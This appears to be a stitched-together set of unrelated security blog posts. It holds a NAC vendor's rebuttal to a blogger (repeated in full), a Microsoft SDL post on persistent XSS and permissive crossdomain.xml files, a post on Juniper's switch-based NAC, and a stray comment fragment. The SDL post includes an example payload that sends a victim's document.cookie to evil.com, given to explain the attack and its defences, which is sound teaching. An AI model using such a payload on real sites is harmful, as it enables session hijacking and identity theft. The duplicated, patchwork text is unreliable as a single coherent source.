So my friend Mr Bump has a problem with my post on vendor frustrations with customers. For those who don't know Mr Bump, he writes about "NAC in the real world", originally about his deployment of Nevis Networks product. At first I thought Mr Bump was a pseudonym for Dom Wilde over at Nevis, but over time I actually like some of what Mr Bump writes and he contributes to the security blogosphere in a positive way. I just like to give him crap about his choice of NAC vendors, but it is all in good fun. Plus I actually like and respect Dom Wilde and that kind of unscrupulous behavior is not his thing.  There is another NAC vendor who plays fast and loose like that though and I will be writing more about that this week, so stay tuned.

Mr Bump responds to each of my three points, but before I get to that, let me clear up a few things. First of all Mr Bump says that this is his problem with 90% of all "sales" people. Mr Bump, you obviously have some issues with sales people. Were they mean to you when you were young? Did your Mom like the salesperson sibling better? Do you secretly dream of being a sales person? Just kidding, but seriously, I did not write my article from the point of view of a sales person. Sorry you confused me with one, though as I have said before we all sell everyday, whether we admit it or not. I was writing from the point of view of a business owner, trying to build a solid business one customer at a time. I am not concerned with short term commissions, but building out a solid customer base. This way I can sell the business for a huge profit and you can call me a slimy entrepreneur ;-).

Also, I can complain as a customer, that is my right. Equally so it is my right to complain about customers as well. I guess I can complain about anything I want on my own blog, not sure why that should bother you. Think of it this way. We all wear different masks in different roles in our lives. Sometimes we wear the Daddy mask, sometimes the boss, sometimes the employee, etc, etc. Being one in one situation, does not preclude you from being another in another situation.

Now, on to the show. Mr Bump doubts my sincerity about being upset when a new guy comes into a customer replacing the guy who bought the product and we have to start all over with them. He says I am kidding him. I made my sale and collected my commission and am on my way. Well Mr Bump, I suggest that if that is the kind of security vendors you deal with, find new ones! Any good business person can tell you that one unhappy customer is worth 10 happy ones. It is about building long term customers. That is how you build a business, not about being bandits who come in, rape and pillage, collect the commission and move on. I have known sales people who have sold to the same people over and over again, because they do care for more than the short term commission. I am sorry you can't believe it and you can't see how it frustrates a vendor. But sometimes we will work with a person for months or even years and build a deep relationship. As part of the game, they move on, I get it and that is the way it is. But it is very frustrating starting from square one with the new guy who may have a pre-conceived prejudice.

Next Mr Bump finds it unbelievable that I would care if a product implementation got delayed. Again, this speaks wonders to the kind of security vendors he deals with. It is not about if my resources are committed at all. Mr Bump I can't wait to get you up and running so you can tell your friends and others about what a great product and company you deal with and we can continue building the business. Also, believe it or not I care that all of a sudden a maintenance fee comes up because the time starts running from the date of sale and the customer hasn't even used the product yet. Shelfware is a failure for a vendor. Delaying implementation is the first step to shelfware. Please Mr Bump spare me your "in the trenches and grenades" story. Most hard working people at security vendors or anywhere else for that matter are not sitting around playing foosball either! We all deal with emergencies and priorities. I am keenly aware of the security and network admins job pressures and have tried to build a company that actually makes your life easier. Again, I can only assume you are dealing with quite a bunch of vendors if you feel this way.

Lastly Mr Bump almost agrees with me about using the product in unintended ways. Mr Bump I can put you in touch with people who have done this. You have to remember that unlike your NAC vendor, our stuff is built on off the shelf hardware with open, standards based OS and database, etc. People who are comfortable around a command line and Linux like to play. We don't mind, just realize how hard that makes our support obligations though and don't expect us to fix what you "developed"

So I hope that clears that up. Like I said in my comment on your blog, too bad you didn't pick a better NAC solution you might have a different opinion of security vendors and maybe even sales people ;-)

So my friend Mr Bump has a problem with my post on vendor frustrations with customers. For those who don't know Mr Bump, he writes about "NAC in the real world", originally about his deployment of Nevis Networks product. At first I thought Mr Bump was a pseudonym for Dom Wilde over at Nevis, but over time I actually like some of what Mr Bump writes and he contributes to the security blogosphere in a positive way. I just like to give him crap about his choice of NAC vendors, but it is all in good fun. Plus I actually like and respect Dom Wilde and that kind of unscrupulous behavior is not his thing.  There is another NAC vendor who plays fast and loose like that though and I will be writing more about that this week, so stay tuned.

Mr Bump responds to each of my three points, but before I get to that, let me clear up a few things. First of all Mr Bump says that this is his problem with 90% of all "sales" people. Mr Bump, you obviously have some issues with sales people. Were they mean to you when you were young? Did your Mom like the salesperson sibling better? Do you secretly dream of being a sales person? Just kidding, but seriously, I did not write my article from the point of view of a sales person. Sorry you confused me with one, though as I have said before we all sell everyday, whether we admit it or not. I was writing from the point of view of a business owner, trying to build a solid business one customer at a time. I am not concerned with short term commissions, but building out a solid customer base. This way I can sell the business for a huge profit and you can call me a slimy entrepreneur ;-).

Also, I can complain as a customer, that is my right. Equally so it is my right to complain about customers as well. I guess I can complain about anything I want on my own blog, not sure why that should bother you. Think of it this way. We all wear different masks in different roles in our lives. Sometimes we wear the Daddy mask, sometimes the boss, sometimes the employee, etc, etc. Being one in one situation, does not preclude you from being another in another situation.

Now, on to the show. Mr Bump doubts my sincerity about being upset when a new guy comes into a customer replacing the guy who bought the product and we have to start all over with them. He says I am kidding him. I made my sale and collected my commission and am on my way. Well Mr Bump, I suggest that if that is the kind of security vendors you deal with, find new ones! Any good business person can tell you that one unhappy customer is worth 10 happy ones. It is about building long term customers. That is how you build a business, not about being bandits who come in, rape and pillage, collect the commission and move on. I have known sales people who have sold to the same people over and over again, because they do care for more than the short term commission. I am sorry you can't believe it and you can't see how it frustrates a vendor. But sometimes we will work with a person for months or even years and build a deep relationship. As part of the game, they move on, I get it and that is the way it is. But it is very frustrating starting from square one with the new guy who may have a pre-conceived prejudice.

Next Mr Bump finds it unbelievable that I would care if a product implementation got delayed. Again, this speaks wonders to the kind of security vendors he deals with. It is not about if my resources are committed at all. Mr Bump I can't wait to get you up and running so you can tell your friends and others about what a great product and company you deal with and we can continue building the business. Also, believe it or not I care that all of a sudden a maintenance fee comes up because the time starts running from the date of sale and the customer hasn't even used the product yet. Shelfware is a failure for a vendor. Delaying implementation is the first step to shelfware. Please Mr Bump spare me your "in the trenches and grenades" story. Most hard working people at security vendors or anywhere else for that matter are not sitting around playing foosball either! We all deal with emergencies and priorities. I am keenly aware of the security and network admins job pressures and have tried to build a company that actually makes your life easier. Again, I can only assume you are dealing with quite a bunch of vendors if you feel this way.

Lastly Mr Bump almost agrees with me about using the product in unintended ways. Mr Bump I can put you in touch with people who have done this. You have to remember that unlike your NAC vendor, our stuff is built on off the shelf hardware with open, standards based OS and database, etc. People who are comfortable around a command line and Linux like to play. We don't mind, just realize how hard that makes our support obligations though and don't expect us to fix what you "developed"

So I hope that clears that up. Like I said in my comment on your blog, too bad you didn't pick a better NAC solution you might have a different opinion of security vendors and maybe even sales people ;-)

Hi everyone, Bryan Sullivan here. 

Unless you’ve been living in an ice cave on the polar cap for the last month, you’ve heard about Microsoft’s proposed acquisition of Yahoo. George Hulme of InformationWeek wrote a very insightful column about the proposed acquisition and what it would mean for Yahoo’s Web 2.0 properties. My favorite quote from this column (probably my favorite quote from anyone’s column so far this year): “…there’s still much to do in the [software] industry to reach a level of truly sustainable computing. This is perhaps especially true in the nascent area of Web 2.0 development. Let’s hope Microsoft brings its Trustworthy Computing Initiative, or more precisely its Security Development Lifecycle to Yahoo, should the $45 billion deal come through.” That’s pretty high praise for the SDL, but what exactly does the SDL have to say about Web 2.0 development? To answer this question, let’s take a look at a couple of security issues that affect Web 2.0 applications and then dive into the corresponding SDL requirements.

Many Web 2.0 applications allow their end users to build and contribute to the application. Think about social networking sites like Facebook, or wikis like Wikipedia. The content on sites like these comes directly from the users themselves. (Remember that you were Time Magazine’s Person of the Year in 2006 for this very reason!) While this is very empowering for users, it does beg the question: If users can add their own content to a web site, what’s to prevent them from adding malicious content? Consider what would happen if Evil Eve adds the following HTML to a wiki entry:

<img src=“http://www.evil.com/eve?“ + document.cookie/>

If the wiki accepts this content from Eve, then anyone who looks at the wiki entry will have their browser cookie “stolen” and sent to Eve at evil.com. The cookie could potentially contain login credentials or other sensitive information, allowing Eve to impersonate her victim and essentially commit a form of identity theft.

The attack I’ve shown here is known as a persistent Cross-Site Scripting (XSS) attack, and is the most dangerous form of XSS since it doesn’t require any social engineering like reflective and DOM-based XSS attacks do. The victim doesn’t have to do anything unusual – he just has to browse to an infected page, maybe even one he’s been to hundreds of times in the past. And in all likelihood, he’ll never even know he was a victim. The Samy worm which infected MySpace in late 2005 exploited a persistent XSS vulnerability to silently spread through its victims’ profile pages. Within less than a day after its release, Samy had spread to over one million MySpace users, forcing MySpace to completely shut down its site while they diagnosed and fixed the vulnerability.

 (As a side note, I’d like to point out that if the developers of the hypothetical wiki in the earlier example had used the HttpOnly attribute for their site cookies, Evil Eve would not have been able to steal those cookies. However, HttpOnly is just a defense-in-depth measure and not a complete solution for the inherent problem of end users being able to write malicious code into the web site.)

Web mashups are another popular component of Web 2.0. JavaScript’s Same Origin Policy prevents web developers from writing client-based mashups (that is, mashups that don’t use a server proxy to request data from the individual sites being “mashed” together) in straight DHTML. Some Rich Internet Application (RIA) frameworks, notably Adobe’s Flash and Microsoft’s Silverlight, offer mechanisms to bypass the Same Origin Policy. For Flash, this mechanism is an XML file (crossdomain.xml) hosted on the domain root that lists all the external domains that should be granted access to the Flash movie. For example, if you host a Flash movie at www.mysite.com, and want to allow access from www.friendlysite.com, you would create a file www.mysite.com/crossdomain.xml with content as follows:

<cross-domain-policy>

   <allow-access-from domain=”www.friendlysite.com”/>

</cross-domain-policy>

So far, so good. However, crossdomain.xml allows not just specific domain names in the allow-access-from element (ie “www.friendlysite.com”) but also wildcards (“*.friendlysite.com”). In fact, it will even allow wildcards that break the two-dots rule like “*.com” or even just “*”. By using highly permissive access lists like this, a developer is essentially letting anyone on the internet manipulate his objects and data. In an attack very reminiscent of the Samy worm, Chris Shiflett exploited an allow-access-from-* entry in Flickr’s crossdomain.xml file that caused any visitor to Chris’s web site to automatically add Chris to their Flickr friends list. While this may not be the scariest attack you’ve ever heard of, imagine what might happen if a truly malicious user discovers the same vulnerability in the fund transfer functionality of a bank’s web site, or the security trading functionality of a brokerage firm’s web site.

So, what does the SDL have to say about these issues? In terms of XSS prevention, the SDL offers a lot of guidance. The SDL requires the use of both input validation (making sure that user input conforms to a known good format – in the case of the wiki entry, to deny HTML and script content) and output encoding (making sure that any active content that gets past the input validation routines is rendered as harmless text and not executed). Internally, we also mandate the use of code analysis tools to find XSS vulnerabilities that might otherwise slip through the cracks. This is great advice for anyone developing web applications, whether they’re Web 2.0 or 1.0.

As for cross-domain policy files, the SDL provides several recommendations. First is a simple attack surface reduction: if a site is not meant to be accessed by foreign domains, then any cross-domain policy files should be removed from the site. Second, if an application offers cross-domain access and also has functionality available only to authenticated users, then this site must not contain overly permissive access lists like “*” or “*.com”. It’s best to list specific domains wherever possible, or at least follow the same two-dots rule that HTTP cookies have to follow for their domain specifications. This helps to limit the sites that can perform request forgery attacks like the Flickr attack mentioned earlier. If no applications anywhere on the site offer special functionality for authenticated users, then the SDL does permit the site to have a broad-reaching cross-domain access list. However, this does require constant oversight to ensure that no authenticated applications are added to the site at a later time. In my opinion, it’s safer just to lock down the list to exactly the sites that are necessary and no more.

Regardless of what happens between Microsoft and Yahoo, I agree with George that adoption of the SDL would benefit Yahoo’s Web 2.0 applications. In fact, I’ll take it a step further and state that adoption of the SDL would benefit anyone’s Web 2.0 applications. In my next SDL blog post, I’ll be addressing the trickiest aspect of implementing the SDL for Web 2.0: developing the “perpetual beta”.

With Junipers long awaited release of their EX switch line, many have said that there is just nothing distinguishing about the line up.  Just speeds and feeds.  Others are saying that the real secret sauce is the JUNOS.  That very well may be.  However, Tim Greene in this article says that Junipers built in NAC may be Junipers not-so-secret weapon. He quotes two analysts, Phil Hochmuth of Yankee Group and Rob Whiteley of Forrest-er.  The article rightfully points out that Junipers competition in the switch market is Cisco and HP ProCurve. 

It then goes on from there to talk about Junipers new ability to perform access control at layer 4 with identity based access control with ACLs in addition to VLANs. You can perform QoS as part of a users access rights and they can mirror traffic and send it to a Juniper IDP for post-admission NAC. Juniper wants to evolve NetScreen Security Manager into a central policy-control platform.  This is all great stuff, however it ain't new.  My research shows that HP ProCurve (the 2nd leading switch vendor) actually does much if not all of this right now. Using the ProCurve IDM (identity driven management) application which is now bundled on ProCurve's NAC appliance  with their NAC application, they can do this already. They can do the QoS thing as well as sending the traffic to several IPS brands.  In fact a close reading of what ProCurve's security capabilities show that there is little if anything ground breaking in what Juniper is advocating and what these analysts seem to be eating up.

Yes, Junipers entry I think does spell C-O-M-P-E-T-I-T-I-O-N for the likes of Nevis and ConSentry (sorry Dan and Dom), but that is not what Juniper is in this game for.  They have to keep their eye on the prize. And the prize is taking market share from Cisco and HP ProCurve.  If this is all they got, I am going to have to agree with those folks who are asking Juniper "where's the beef?"

This brings up an interesting point though about the use of third party advertising and how that can be used to do wide scale XSS exploitation. In this case it’s no different, except instead of it being a Dom based XSS like it would normally have to be, the server does a reflection for you. Odd problem. I’ve ran into similar problems with hosting providers that put log files for all their customers in the same predictable location. So finding their customers is the only hard part. Getting their logs is easy! Nice find!